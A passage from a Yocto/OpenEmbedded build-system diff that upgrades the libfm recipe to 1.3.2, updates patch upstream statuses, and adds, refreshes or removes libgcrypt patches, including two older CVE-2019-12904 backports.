+ file://0001-nls.m4-Take-it-from-gettext-0.15.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+S = "${WORKDIR}/libfm-${PV}"
+
+EXTRA_OECONF = "--with-extra-only --with-gtk=no"
+
+inherit autotools pkgconfig gtk-doc gettext
+
+do_configure[dirs] =+ "${S}/m4"
diff --git a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
index fb91d90cf2..701b259cf9 100644
--- a/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch
@@ -4,7 +4,7 @@ Date: Fri, 16 Dec 2016 16:52:04 +0200
Subject: [PATCH] Correctly check the stamp file that indicates if we need to
re-build vala code
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/85]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
configure.ac | 2 +-
diff --git a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
index f4c89127fc..0437000adc 100644
--- a/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
+++ b/meta/recipes-support/libfm/libfm/0001-Do-not-add-library-path-to-avoid-host-contamination.patch
@@ -3,7 +3,7 @@ From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 2 May 2018 16:48:47 +0300
Subject: [PATCH] Do not add library path to avoid host contamination
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://github.com/lxde/libfm/pull/86]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
src/modules/Makefile.am | 1 -
diff --git a/meta/recipes-support/libfm/libfm_1.3.1.bb b/meta/recipes-support/libfm/libfm_1.3.1.bb
deleted file mode 100644
index 65a6f8e78c..0000000000
--- a/meta/recipes-support/libfm/libfm_1.3.1.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Library for file management"
-HOMEPAGE = "http://pcmanfm.sourceforge.net/"
-
-LICENSE = "GPLv2+ & LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
- file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
- file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
-
-
-SECTION = "x11/libs"
-DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
- file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
- file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
- "
-
-SRC_URI[md5sum] = "c15ecd2c9317e2c385cd3f046d0b61ba"
-SRC_URI[sha256sum] = "96b1244bde41ca0eef0332cfb5c67bb16725dfd102128f3e6f74fadc13a1cfe4"
-
-inherit autotools pkgconfig gtk-doc gettext distro_features_check
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-EXTRA_OECONF = "--with-gtk=3"
-
-do_configure[dirs] =+ "${S}/m4"
-
-PACKAGES =+ "libfm-gtk"
-PACKAGES += "${PN}-mime"
-FILES_libfm-gtk = " \
- ${libdir}/libfm-gtk*so.* \
- ${libdir}/libfm/modules/gtk* \
- ${bindir}/libfm-pref-apps \
- ${bindir}/lxshortcut \
- ${datadir}/applications/libfm-pref-apps.desktop \
- ${datadir}/applications/lxshortcut.desktop \
- ${datadir}/libfm/images/folder.png \
- ${datadir}/libfm/images/unknown.png \
- ${datadir}/libfm/ui/*.ui \
-"
-FILES_${PN}-mime = "${datadir}/mime/"
-
-do_install_append () {
- # remove files which are part of libfm-extra
- rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
- rm -f ${D}${includedir}/libfm-1.0/fm-version.h
- rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
- rm -f ${D}${includedir}/libfm
- rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
- rm -f ${D}${libdir}/libfm-extra.so*
- rm -f ${D}${libdir}/libfm-extra.a
- rm -f ${D}${libdir}/libfm-extra.la
-}
diff --git a/meta/recipes-support/libfm/libfm_1.3.2.bb b/meta/recipes-support/libfm/libfm_1.3.2.bb
new file mode 100644
index 0000000000..057c737029
--- /dev/null
+++ b/meta/recipes-support/libfm/libfm_1.3.2.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Library for file management"
+DESCRIPTION = "LibFM provides file management functions built on top of Glib/GIO \
+giving a convenient higher-level API."
+HOMEPAGE = "http://pcmanfm.sourceforge.net/"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4641e94ec96f98fabc56ff9cc48be14b \
+ file://src/fm.h;beginline=8;endline=21;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/base/fm-config.h;beginline=10;endline=23;md5=ef1f84da64b3c01cca447212f7ef6007 \
+ file://src/fm-gtk.h;beginline=6;endline=19;md5=646baa4955c04fe768f2ca27b92ac8dd"
+
+
+SECTION = "x11/libs"
+DEPENDS = "glib-2.0 glib-2.0-native pango gtk+3 menu-cache intltool-native libexif libfm-extra"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/libfm-${PV}.tar.xz \
+ file://0001-Correctly-check-the-stamp-file-that-indicates-if-we-.patch \
+ file://0001-Do-not-add-library-path-to-avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "a5042630304cf8e5d8cff9d565c6bd546f228b48c960153ed366a34e87cad1e5"
+
+inherit autotools pkgconfig gtk-doc gettext features_check mime mime-xdg
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_configure[dirs] =+ "${S}/m4"
+
+PACKAGES =+ "libfm-gtk"
+PACKAGES += "${PN}-mime"
+FILES:libfm-gtk = " \
+ ${libdir}/libfm-gtk*so.* \
+ ${libdir}/libfm/modules/gtk* \
+ ${bindir}/libfm-pref-apps \
+ ${bindir}/lxshortcut \
+ ${datadir}/applications/libfm-pref-apps.desktop \
+ ${datadir}/applications/lxshortcut.desktop \
+ ${datadir}/libfm/images/folder.png \
+ ${datadir}/libfm/images/unknown.png \
+ ${datadir}/libfm/ui/*.ui \
+"
+FILES:${PN}-mime = "${datadir}/mime/"
+
+do_install:append () {
+ # remove files which are part of libfm-extra
+ rm -f ${D}${includedir}/libfm-1.0/fm-xml-file.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-version.h
+ rm -f ${D}${includedir}/libfm-1.0/fm-extra.h
+ rm -f ${D}${includedir}/libfm
+ rm -f ${D}${libdir}/pkgconfig/libfm-extra.pc
+ rm -f ${D}${libdir}/libfm-extra.so*
+ rm -f ${D}${libdir}/libfm-extra.a
+ rm -f ${D}${libdir}/libfm-extra.la
+}
diff --git a/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch b/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch
new file mode 100644
index 0000000000..62b7484e45
--- /dev/null
+++ b/meta/recipes-support/libgcrypt/files/0001-Makefile.am-add-a-missing-space.patch
@@ -0,0 +1,41 @@
+From b8192ff67ed46ea2cc4282fa1856ce2868223737 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 24 Feb 2021 19:43:07 +0000
+Subject: [PATCH] Makefile.am: add a missing space
+
+Upstream-Status: Submitted [by email to gniibe@fsij.org,gcrypt-devel@gnupg.org]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ cipher/Makefile.am | 2 +-
+ doc/Makefile.am | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/cipher/Makefile.am b/cipher/Makefile.am
+index 1cf5072..b3ca225 100644
+--- a/cipher/Makefile.am
++++ b/cipher/Makefile.am
+@@ -143,7 +143,7 @@ gost-sb.h: gost-s-box
+
+ gost-s-box: gost-s-box.c
+ $(CC_FOR_BUILD) $(CFLAGS_FOR_BUILD) $(LDFLAGS_FOR_BUILD) \
+- $(CPPFLAGS_FOR_BUILD)-o $@ $(srcdir)/gost-s-box.c
++ $(CPPFLAGS_FOR_BUILD) -o $@ $(srcdir)/gost-s-box.c
+
+
+ if ENABLE_O_FLAG_MUNGING
+diff --git a/doc/Makefile.am b/doc/Makefile.am
+index fd7aac2..1703bd9 100644
+--- a/doc/Makefile.am
++++ b/doc/Makefile.am
+@@ -43,7 +43,7 @@ man_MANS = $(myman_pages)
+
+ yat2m: yat2m.c
+ $(CC_FOR_BUILD) $(CFLAGS_FOR_BUILD) $(LDFLAGS_FOR_BUILD) \
+- $(CPPFLAGS_FOR_BUILD)-o $@ $(srcdir)/yat2m.c
++ $(CPPFLAGS_FOR_BUILD) -o $@ $(srcdir)/yat2m.c
+
+ .fig.png:
+ fig2dev -L png `test -f '$<' || echo '$(srcdir)/'`$< $@
+--
+2.17.1
+
diff --git a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch b/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
deleted file mode 100644
index 4df96f0011..0000000000
--- a/meta/recipes-support/libgcrypt/files/0001-Prefetch-GCM-look-up-tables.patch
+++ /dev/null
@@ -1,90 +0,0 @@
-From 1374254c2904ab5b18ba4a890856824a102d4705 Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Sat, 27 Apr 2019 19:33:28 +0300
-Subject: [PATCH 1/3] Prefetch GCM look-up tables
-
-* cipher/cipher-gcm.c (prefetch_table, do_prefetch_tables)
-(prefetch_tables): New.
-(ghash_internal): Call prefetch_tables.
---
-
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/1374254c2904ab5b18ba4a890856824a102d4705]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/cipher-gcm.c | 33 +++++++++++++++++++++++++++++++++
- 1 file changed, 33 insertions(+)
-
-diff --git a/cipher/cipher-gcm.c b/cipher/cipher-gcm.c
-index c19f09f..11f119a 100644
---- a/cipher/cipher-gcm.c
-+++ b/cipher/cipher-gcm.c
-@@ -118,6 +118,34 @@ static const u16 gcmR[256] = {
- 0xbbf0, 0xba32, 0xb874, 0xb9b6, 0xbcf8, 0xbd3a, 0xbf7c, 0xbebe,
- };
-
-+static inline
-+void prefetch_table(const void *tab, size_t len)
-+{
-+ const volatile byte *vtab = tab;
-+ size_t i;
-+
-+ for (i = 0; i < len; i += 8 * 32)
-+ {
-+ (void)vtab[i + 0 * 32];
-+ (void)vtab[i + 1 * 32];
-+ (void)vtab[i + 2 * 32];
-+ (void)vtab[i + 3 * 32];
-+ (void)vtab[i + 4 * 32];
-+ (void)vtab[i + 5 * 32];
-+ (void)vtab[i + 6 * 32];
-+ (void)vtab[i + 7 * 32];
-+ }
-+
-+ (void)vtab[len - 1];
-+}
-+
-+static inline void
-+do_prefetch_tables (const void *gcmM, size_t gcmM_size)
-+{
-+ prefetch_table(gcmM, gcmM_size);
-+ prefetch_table(gcmR, sizeof(gcmR));
-+}
-+
- #ifdef GCM_TABLES_USE_U64
- static void
- bshift (u64 * b0, u64 * b1)
-@@ -365,6 +393,8 @@ do_ghash (unsigned char *result, const unsigned char *buf, const u32 *gcmM)
- #define fillM(c) \
- do_fillM (c->u_mode.gcm.u_ghash_key.key, c->u_mode.gcm.gcm_table)
- #define GHASH(c, result, buf) do_ghash (result, buf, c->u_mode.gcm.gcm_table)
-+#define prefetch_tables(c) \
-+ do_prefetch_tables(c->u_mode.gcm.gcm_table, sizeof(c->u_mode.gcm.gcm_table))
-
- #else
-
-@@ -430,6 +460,7 @@ do_ghash (unsigned char *hsub, unsigned char *result, const unsigned char *buf)
-
- #define fillM(c) do { } while (0)
- #define GHASH(c, result, buf) do_ghash (c->u_mode.gcm.u_ghash_key.key, result, buf)
-+#define prefetch_tables(c) do {} while (0)
-
- #endif /* !GCM_USE_TABLES */
-
-@@ -441,6 +472,8 @@ ghash_internal (gcry_cipher_hd_t c, byte *result, const byte *buf,
- const unsigned int blocksize = GCRY_GCM_BLOCK_LEN;
- unsigned int burn = 0;
-
-+ prefetch_tables (c);
-+
- while (nblocks)
- {
- burn = GHASH (c, result, buf);
---
-2.7.4
-
diff --git a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
index cd8a5993b4..c873e24ed5 100644
--- a/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
+++ b/meta/recipes-support/libgcrypt/files/0001-libgcrypt-fix-m4-file-for-oe-core.patch
@@ -1,4 +1,4 @@
-From bee26d7c4ea0b4a397c289b819b89e78bc325ba0 Mon Sep 17 00:00:00 2001
+From 839f38e5ecc22b7f1b837284bbbffac8cb32ab1e Mon Sep 17 00:00:00 2001
From: Trevor Gamblin <trevor.gamblin@windriver.com>
Date: Tue, 29 Oct 2019 14:08:32 -0400
Subject: [PATCH] libgcrypt: fix m4 file for oe-core
@@ -17,7 +17,7 @@ Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
1 file changed, 4 insertions(+), 86 deletions(-)
diff --git a/src/libgcrypt.m4 b/src/libgcrypt.m4
-index 37dfbea2..3d2e90a8 100644
+index 19d514f..21125c7 100644
--- a/src/libgcrypt.m4
+++ b/src/libgcrypt.m4
@@ -29,41 +29,6 @@ dnl is added to the gpg_config_script_warn variable.
@@ -25,7 +25,7 @@ index 37dfbea2..3d2e90a8 100644
AC_DEFUN([AM_PATH_LIBGCRYPT],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libgcrypt-prefix,
-- AC_HELP_STRING([--with-libgcrypt-prefix=PFX],
+- AS_HELP_STRING([--with-libgcrypt-prefix=PFX],
- [prefix where LIBGCRYPT is installed (optional)]),
- libgcrypt_config_prefix="$withval", libgcrypt_config_prefix="")
- if test x"${LIBGCRYPT_CONFIG}" = x ; then
@@ -144,6 +144,3 @@ index 37dfbea2..3d2e90a8 100644
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBGCRYPT_CFLAGS)
---
-2.17.1
-
diff --git a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch b/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
deleted file mode 100644
index c82c5b5c8a..0000000000
--- a/meta/recipes-support/libgcrypt/files/0002-AES-move-look-up-tables-to-.data-section-and-unshare.patch
+++ /dev/null
@@ -1,332 +0,0 @@
-From 119348dd9aa52ab229afb5e2d3342d2b76fe81bf Mon Sep 17 00:00:00 2001
-From: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-Date: Fri, 31 May 2019 17:18:09 +0300
-Subject: [PATCH 2/3] AES: move look-up tables to .data section and unshare between
- processes
-
-* cipher/rijndael-internal.h (ATTR_ALIGNED_64): New.
-* cipher/rijndael-tables.h (encT): Move to 'enc_tables' structure.
-(enc_tables): New structure for encryption table with counters before
-and after.
-(encT): New macro.
-(dec_tables): Add counters before and after encryption table; Move
-from .rodata to .data section.
-(do_encrypt): Change 'encT' to 'enc_tables.T'.
-(do_decrypt): Change '&dec_tables' to 'dec_tables.T'.
-* cipher/cipher-gcm.c (prefetch_table): Make inline; Handle input
-with length not multiple of 256.
-(prefetch_enc, prefetch_dec): Modify pre- and post-table counters
-to unshare look-up table pages between processes.
---
-
-GnuPG-bug-id: 4541
-Signed-off-by: Jussi Kivilinna <jussi.kivilinna@iki.fi>
-
-Upstream-Status: Backport
-[https://github.com/gpg/libgcrypt/commit/daedbbb5541cd8ecda1459d3b843ea4d92788762]
-
-CVE: CVE-2019-12904
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- cipher/rijndael-internal.h | 4 +-
- cipher/rijndael-tables.h | 155 +++++++++++++++++++++++++--------------------
- cipher/rijndael.c | 35 ++++++++--
- 3 files changed, 118 insertions(+), 76 deletions(-)
-
-diff --git a/cipher/rijndael-internal.h b/cipher/rijndael-internal.h
-index 160fb8c..a62d4b7 100644
---- a/cipher/rijndael-internal.h
-+++ b/cipher/rijndael-internal.h
-@@ -29,11 +29,13 @@
- #define BLOCKSIZE (128/8)
-
-
--/* Helper macro to force alignment to 16 bytes. */
-+/* Helper macro to force alignment to 16 or 64 bytes. */
- #ifdef HAVE_GCC_ATTRIBUTE_ALIGNED
- # define ATTR_ALIGNED_16 __attribute__ ((aligned (16)))
-+# define ATTR_ALIGNED_64 __attribute__ ((aligned (64)))
- #else
- # define ATTR_ALIGNED_16
-+# define ATTR_ALIGNED_64
- #endif
-
-
-diff --git a/cipher/rijndael-tables.h b/cipher/rijndael-tables.h
-index 8359470..b54d959 100644
---- a/cipher/rijndael-tables.h
-+++ b/cipher/rijndael-tables.h
-@@ -21,80 +21,98 @@
- /* To keep the actual implementation at a readable size we use this
- include file to define the tables. */
-
--static const u32 encT[256] =
-+static struct
-+{
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
-+ u32 T[256];
-+ volatile u32 counter_tail;
-+} enc_tables ATTR_ALIGNED_64 =
- {
-- 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-- 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-- 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-- 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-- 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-- 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-- 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-- 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-- 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-- 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-- 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-- 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-- 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-- 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-- 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-- 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-- 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-- 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-- 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-- 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-- 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-- 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-- 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
-- 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-- 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-- 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-- 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-- 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-- 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-- 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-- 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-- 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-- 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-- 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-- 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-- 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-- 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-- 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-- 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-- 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-- 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-- 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-- 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-- 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-- 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-- 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-- 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-- 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-- 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-- 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-- 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-- 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-- 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-- 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-- 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-- 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-- 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-- 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-- 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-- 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-- 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-- 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-- 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-- 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ 0,
-+ { 0, },
-+ {
-+ 0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6,
-+ 0x0df2f2ff, 0xbd6b6bd6, 0xb16f6fde, 0x54c5c591,
-+ 0x50303060, 0x03010102, 0xa96767ce, 0x7d2b2b56,
-+ 0x19fefee7, 0x62d7d7b5, 0xe6abab4d, 0x9a7676ec,
-+ 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,
-+ 0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb,
-+ 0xecadad41, 0x67d4d4b3, 0xfda2a25f, 0xeaafaf45,
-+ 0xbf9c9c23, 0xf7a4a453, 0x967272e4, 0x5bc0c09b,
-+ 0xc2b7b775, 0x1cfdfde1, 0xae93933d, 0x6a26264c,
-+ 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,
-+ 0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9,
-+ 0x937171e2, 0x73d8d8ab, 0x53313162, 0x3f15152a,
-+ 0x0c040408, 0x52c7c795, 0x65232346, 0x5ec3c39d,
-+ 0x28181830, 0xa1969637, 0x0f05050a, 0xb59a9a2f,
-+ 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,
-+ 0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea,
-+ 0x1b090912, 0x9e83831d, 0x742c2c58, 0x2e1a1a34,
-+ 0x2d1b1b36, 0xb26e6edc, 0xee5a5ab4, 0xfba0a05b,
-+ 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7, 0xceb3b37d,
-+ 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,
-+ 0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1,
-+ 0x60202040, 0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6,
-+ 0xbe6a6ad4, 0x46cbcb8d, 0xd9bebe67, 0x4b393972,
-+ 0xde4a4a94, 0xd44c4c98, 0xe85858b0, 0x4acfcf85,
-+ 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,
-+ 0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511,
-+ 0xcf45458a, 0x10f9f9e9, 0x06020204, 0x817f7ffe,
-+ 0xf05050a0, 0x443c3c78, 0xba9f9f25, 0xe3a8a84b,
-+ 0xf35151a2, 0xfea3a35d, 0xc0404080, 0x8a8f8f05,
-+ 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,
-+ 0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142,
-+ 0x30101020, 0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf,
-+ 0x4ccdcd81, 0x140c0c18, 0x35131326, 0x2fececc3,
-+ 0xe15f5fbe, 0xa2979735, 0xcc444488, 0x3917172e,
-+ 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,
-+ 0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6,
-+ 0xa06060c0, 0x98818119, 0xd14f4f9e, 0x7fdcdca3,
-+ 0x66222244, 0x7e2a2a54, 0xab90903b, 0x8388880b,
-+ 0xca46468c, 0x29eeeec7, 0xd3b8b86b, 0x3c141428,
-+ 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,
-+ 0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14,
-+ 0xdb494992, 0x0a06060c, 0x6c242448, 0xe45c5cb8,
-+ 0x5dc2c29f, 0x6ed3d3bd, 0xefacac43, 0xa66262c4,
-+ 0xa8919139, 0xa4959531, 0x37e4e4d3, 0x8b7979f2,
-+ 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,
-+ 0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949,
-+ 0xb46c6cd8, 0xfa5656ac, 0x07f4f4f3, 0x25eaeacf,
-+ 0xaf6565ca, 0x8e7a7af4, 0xe9aeae47, 0x18080810,
-+ 0xd5baba6f, 0x887878f0, 0x6f25254a, 0x722e2e5c,
-+ 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,
-+ 0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e,
-+ 0xdd4b4b96, 0xdcbdbd61, 0x868b8b0d, 0x858a8a0f,
-+ 0x907070e0, 0x423e3e7c, 0xc4b5b571, 0xaa6666cc,
-+ 0xd8484890, 0x05030306, 0x01f6f6f7, 0x120e0e1c,
-+ 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,
-+ 0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27,
-+ 0x38e1e1d9, 0x13f8f8eb, 0xb398982b, 0x33111122,
-+ 0xbb6969d2, 0x70d9d9a9, 0x898e8e07, 0xa7949433,
-+ 0xb69b9b2d, 0x221e1e3c, 0x92878715, 0x20e9e9c9,
-+ 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,
-+ 0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a,
-+ 0xdabfbf65, 0x31e6e6d7, 0xc6424284, 0xb86868d0,
-+ 0xc3414182, 0xb0999929, 0x772d2d5a, 0x110f0f1e,
-+ 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d, 0x3a16162c
-+ },
-+ 0
- };
-
--static const struct
-+#define encT enc_tables.T
-+
-+static struct
- {
-+ volatile u32 counter_head;
-+ u32 cacheline_align[64 / 4 - 1];
- u32 T[256];
- byte inv_sbox[256];
--} dec_tables =
-+ volatile u32 counter_tail;
-+} dec_tables ATTR_ALIGNED_64 =
- {
-+ 0,
-+ { 0, },
- {
- 0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a,
- 0xcb6bab3b, 0xf1459d1f, 0xab58faac, 0x9303e34b,
-@@ -194,7 +212,8 @@ static const struct
- 0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
- 0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,
- 0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d
-- }
-+ },
-+ 0
- };
-
- #define decT dec_tables.T
-diff --git a/cipher/rijndael.c b/cipher/rijndael.c
-index 8637195..d0edab2 100644
---- a/cipher/rijndael.c
-+++ b/cipher/rijndael.c
-@@ -227,11 +227,11 @@ static const char *selftest(void);
-
-
